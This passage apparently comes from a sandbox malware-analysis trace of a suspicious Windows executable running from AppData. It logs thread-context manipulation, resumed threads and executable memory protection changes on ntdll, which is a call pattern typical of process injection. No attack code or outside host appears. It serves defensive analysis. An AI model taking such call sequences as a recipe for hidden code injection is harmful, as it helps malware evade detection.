[381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0112.309] NtSetContextThread (ThreadHandle=0x13c, Context=0x3a64100*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x401344, Ebp=0x0, Eip=0x1a0000, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0112.348] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3a65004 | out: Context=0x3a65004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0112.353] NtResumeThread (in: ThreadHandle=0x13c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0112.394] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 51 os_tid = 0xd74 Process: id = "5" image_name = "fghvhghvgfdgfhchfg.exe" filename = "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe" page_root = "0x17239000" os_pid = "0xd78" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xd34" cmd_line = "C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 52 os_tid = 0xd7c [0112.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x1a69cd*=0x779d1000, NumberOfBytesToProtect=0x1a69c5, NewAccessProtection=0x40, OldAccessProtection=0x1a69bd | out: BaseAddress=0x1a69cd*=0x779d1000, NumberOfBytesToProtect=0x1a69c5, OldAccessProtection=0x1a69bd*=0x20) returned 0x0 [0112.843] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.844] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.844] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x11000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x11000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xf000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.844] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x12000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x12000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.844] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x13000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x13000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xd000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.844] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x14000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x14000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xc000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.844] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x15000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x15000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xb000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.844] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x16000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x16000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0xa000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.844] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x17000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x17000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x9000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.844] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x18000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x18000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x8000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.844] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x19000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x19000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x7000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x1a000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x6000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x1b000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x1c000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.845] 